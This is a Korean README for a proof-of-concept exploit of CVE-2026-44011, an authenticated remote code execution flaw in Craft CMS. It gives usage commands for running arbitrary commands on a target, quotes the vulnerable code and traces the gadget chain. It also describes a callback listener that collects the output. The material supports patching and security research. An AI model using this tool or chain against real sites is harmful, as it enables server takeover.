CVE-2026-44011의 PoC: 인증된 사용자를 통한 Craft CMS RCE.
승인된 테스트 용도로만 사용하십시오.
Craft CMS 권고문은 >=4.0.0, <4.17.12 및 >=5.0.0, <5.9.18을 영향을 받는 버전으로 나열하며, precicom-vincent-tl을 발견자로 명시하고 있습니다.
python -m pip install -r requirements.txt
python cve-2026-44011.py -b 'https://example.com' -u '<username' -p '<password>' -c '<command>'
필수 인수:
-b, --base-url: http:// 또는 https://를 포함한 Craft URL.-u, --username: 제어판 사용자 이름.-p, --password: 제어판 비밀번호.-c, --command: 실행하고 출력을 캡처할 명령.선택적 인수:
-P, --cp-path: 제어판 경로 (기본값: /admin).-s, --site-id: 사이트 ID (기본값: 1).-e, --element-type: 요소 유형 (기본값: craft\elements\Category).-f, --csrf-field: 로그인 CSRF 필드 이름 (기본값: CRAFT_CSRF_TOKEN).-t, --timeout: 요청 및 콜백 타임아웃(초) (기본값: 15).-F, --force: Craft 버전을 확인할 수 없거나 권고 범위를 벗어난 경우에도 계속 진행.-H, --callback-host: 대상이 접근할 수 있는 주소 (기본적으로 로컬 주소가 추론됨; 피벗 뒤에서는 재정의).--listen-port: 리스너 포트 (기본값: OS가 선택한 사용 가능한 포트; 포워딩을 위해 고정 포트 설정).취약한 검색 액션에서 condition은 POST 본문에서 정제 없이 객체 생성으로 전달됩니다.
$conditionConfig = $this->request->getBodyParam('condition');
$condition = Craft::$app->getConditions()->createCondition($conditionConfig);
ElementCondition::setFieldLayouts()는 제공된 각 배열로부터 레이아웃을 생성합니다.
if (is_array($fieldLayout)) {
$fieldLayout['type'] = $this->elementType;
return $fieldsService->createLayout($fieldLayout);
}
권고 페이로드는 as 키와 함께 Yii의 AttributeTypecastBehavior를 첨부하고 on *으로 이벤트를 연결합니다. 이 동작은 Yii의 호출 가능 타입캐스트를 통해 Psy\Readline\Hoa\ConsoleProcessus::execute에 도달합니다.
condition.fieldLayouts[]
-> FieldLayout behavior + event
-> AttributeTypecastBehavior::typecastValue()
-> call_user_func()
-> ConsoleProcessus::execute()
수정된 컨트롤러는 객체 생성 전에 조건에 Component::cleanseConfig()를 적용합니다.
ConsoleProcessus::execute()는 기본적으로 셸 메타문자를 이스케이프합니다. PoC는 -c를 실행할 임시 스크립트를 제공하고, 내장 HTTP 리스너에서 출력을 수신한 뒤 리스너를 종료합니다. 대상이 추론된 주소에 접근할 수 없는 경우 -H를 사용하십시오.sh, curl, mktemp가 필요합니다.python -m unittest discover -s tests -v.